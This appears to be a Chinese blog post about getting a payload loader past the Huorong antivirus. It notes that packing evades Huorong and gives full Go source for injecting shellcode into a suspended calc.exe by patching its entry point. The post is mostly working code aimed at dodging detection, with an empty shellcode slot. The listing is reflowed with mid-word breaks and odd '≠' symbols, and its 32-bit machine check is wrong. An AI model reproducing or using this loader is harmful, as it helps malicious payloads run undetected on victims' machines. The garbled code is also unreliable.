奇了nm的怪，火绒到底是怎么检测的呢？把 `shellcode` 删了也会报毒，其中不申请可执行的内存空间也会报，不恢复线程也会报。就是过不了静态，是因为有什么奇怪的特征吗，还是各种行为组合在一起的评估的结果。是修改了程序入口点被检测到了的问题吗，这也没加载执行啊，本地沙盒？嗯，加个壳试试。嗯 ..... 加个壳压缩一下就过火绒了，但是vt里报毒会变多。大概还是特征的问题，能过一些主流的杀软就够了。

1. 创建一个新挂起的进程。
2. 将 `shellcode` 写入到挂起的进程内存中。
3. 获取进程的 `PROCESS_BASE_INFORMATION` ，获取进程的 `PEB` 块的地址，读取进程 `PEB` 。
4. 从 `PEB` 中获取 `image` 加载的基址，读取 `image` ，计算程序入口点。
5. 修改程序入口点，使其执行时跳转到 `shellcode` 所在内存区域执行。
6. 恢复线程，执行 `shellcode` 。

```go
package main

import (
	"encoding/binary"
	"fmt"
	"github.com/JamesHovious/w32"
	"golang.org/x/sys/windows"
	"log"
	"mx2/winApi"
	"unsafe"
)

func main() {

	shellcode := []byte{}

	programName := "C:\\Windows\\System32\\calc.exe"

	//创建一个进程
	var StartupInfo = w32.STARTUPINFOW{}
	var ProcessInformation = w32.PROCESS_INFORMATION{}
	err := w32.CreateProcessW(programName, "", nil, nil, 0, windows.CREATE_SUSPEND
ED, nil, "", &StartupInfo, &ProcessInformation)
	if err != nil {
		log.Fatal(fmt.Println("[!] Create process failed ! "))
		return
	}

	//在创建的进程内存中申请shellcode的空间
	memoryAddr, err := w32.VirtualAllocEx(ProcessInformation.Process, 0, len(shell
code), w32.MEM_RESERVE|w32.MEM_COMMIT, w32.PAGE_READWRITE)
```

```
        if err ≠ nil {
                log.Fatal(fmt.Println("[!] Allocate the shellcode's space failed ! "))
                return
        }

        //写入shellcode到申请的空间中
        err = w32.WriteProcessMemory(ProcessInformation.Process, memoryAddr, shellcod
e, uint(len(shellcode)))
        if err ≠ nil {
                log.Fatal(fmt.Println("[!] Write the shellcode to the memory failed !
 "))
                return
        }

        //修改申请的内存空间为读可执行
        var oldProtection w32.DWORD
        winApi.ProcVirtualProtectEx(ProcessInformation.Process, w32.PVOID(memoryAddr),
w32.SIZE_T(len(shellcode)), w32.PAGE_EXECUTE_READ, &oldProtection)

        //获取进程的PROCESS_BASE_INFORMATION
        var processBaseInfo = winApi.PROCESS_BASE_INFORMATION{}
        var returnLength uintptr = 0
        isSuc := winApi.ProcNtQueryInformationProcess(ProcessInformation.Process, 0, &
processBaseInfo, uint32(unsafe.Sizeof(processBaseInfo)), w32.ULONG_PTR(unsafe.Pointer
(&returnLength)))
        if isSuc ≠ 0 {
                log.Fatal(fmt.Println("[!] Query the process's information failed !"))
                return
        }

        var peb = windows.PEB{}
        var readbytes uint32

        //读取进程的peb块的信息
        isSuc = winApi.ProcNtReadVirtualMemory(ProcessInformation.Process, w32.PVOID(p
rocessBaseInfo.PebBaseAddress), w32.PVOID(unsafe.Pointer(&peb)), uint32(unsafe.Sizeof
(peb)), &readbytes)
        if isSuc ≠ 0 {
                log.Fatal(fmt.Println("[!] Read the PEB failed !"))
                return
        }

        //获取进程的镜像载入地址，并且读取pe文件的dos头
        var dosHeader = winApi.IMAGE_DOS_HEADER{}
        var readBytes2 uint32
        isSuc = winApi.ProcNtReadVirtualMemory(ProcessInformation.Process, w32.PVOID(p
eb.ImageBaseAddress), w32.PVOID(&dosHeader), uint32(unsafe.Sizeof(dosHeader)), &readBy
tes2)
        if isSuc ≠ 0 {
                log.Fatal(fmt.Println("[!] Read IMAGE_DOS_HEADER failed !"))
                return
```

```
        }

        if dosHeader.Magic != 23117 {
                log.Fatal(fmt.Println("[!] DOS image header magic string was not MZ !
 "))
                return
        }

        //获取映像的标准pe头
        var ntHeader = winApi.IMAGE_FILE_HEADER{}
        var readBytes3 uint32
        isSuc = winApi.ProcNtReadVirtualMemory(ProcessInformation.Process, w32.PVOID(p
eb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+uintptr(4)), w32.PVOID(&ntHeader), uint3
2(unsafe.Sizeof(ntHeader)), &readBytes3)
        if isSuc != 0 {
                log.Fatal(fmt.Println("[!] Read IMAGE_FILE_HEADER failed !"))
                return
        }

        var optHeader64 winApi.IMAGE_OPTIONAL_HEADER64
        var optHeader32 winApi.IMAGE_OPTIONAL_HEADER32
        var readBytes4 uint32

        //获取映像的拓展pe头
        if ntHeader.Machine == 0x8664 {
                isSuc = winApi.ProcNtReadVirtualMemory(ProcessInformation.Process, w3
2.PVOID(peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+uintptr(4)+unsafe.Sizeof(ntHead
er)), w32.PVOID(&optHeader64), uint32(unsafe.Sizeof(optHeader64)), &readBytes4)
        } else if ntHeader.Machine == 0x1c {
                isSuc = winApi.ProcNtReadVirtualMemory(ProcessInformation.Process, w3
2.PVOID(peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+uintptr(4)+unsafe.Sizeof(ntHead
er)), w32.PVOID(&optHeader32), uint32(unsafe.Sizeof(optHeader32)), &readBytes4)
        } else {
                log.Fatal(fmt.Println("[!] ntHeader.Machine is not right ! "))
                return
        }

        if isSuc != 0 {
                log.Fatal(fmt.Println("[!] Read IMAGE_OPTIONAL_HEADER failed ! "))
        }

        var entryPoint uintptr
        var buffer, shellcodeAddrBuffer []byte

        //组装汇编代码
        //move eax,memoryAddr
        //jmp eax
        if ntHeader.Machine == 0x8664 {
                entryPoint = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntry
Point)
```

```
                buffer = append(buffer, byte(0x48))
                buffer = append(buffer, byte(0xb8))
                shellcodeAddrBuffer = make([]byte, 8)
                binary.LittleEndian.PutUint64(shellcodeAddrBuffer, uint64(memoryAddr))
                buffer = append(buffer, shellcodeAddrBuffer...)
        } else if ntHeader.Machine == 0x1c {
                entryPoint = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntry
Point)

                buffer = append(buffer, byte(0xb8))
                shellcodeAddrBuffer = make([]byte, 4)
                binary.LittleEndian.PutUint32(shellcodeAddrBuffer, uint32(memoryAddr))
                buffer = append(buffer, shellcodeAddrBuffer...)
        }

        buffer = append(buffer, byte(0xff))
        buffer = append(buffer, byte(0xe0))

        //将组装的汇编代码写入到进程的入口点除
        err = w32.WriteProcessMemory(ProcessInformation.Process, entryPoint, buffer, u
int(len(buffer)))
        if err != nil {
                log.Fatal(fmt.Println("[!] Write to the entryPoint failed !"))
        }

        //恢复线程
        _, err = w32.ResumeThread(ProcessInformation.Thread)
        if err != nil {
                log.Fatal(fmt.Println("[!] Resume thread failed ! "))
                return
        }

        w32.CloseHandle(ProcessInformation.Process)
        w32.CloseHandle(ProcessInformation.Thread)

}
```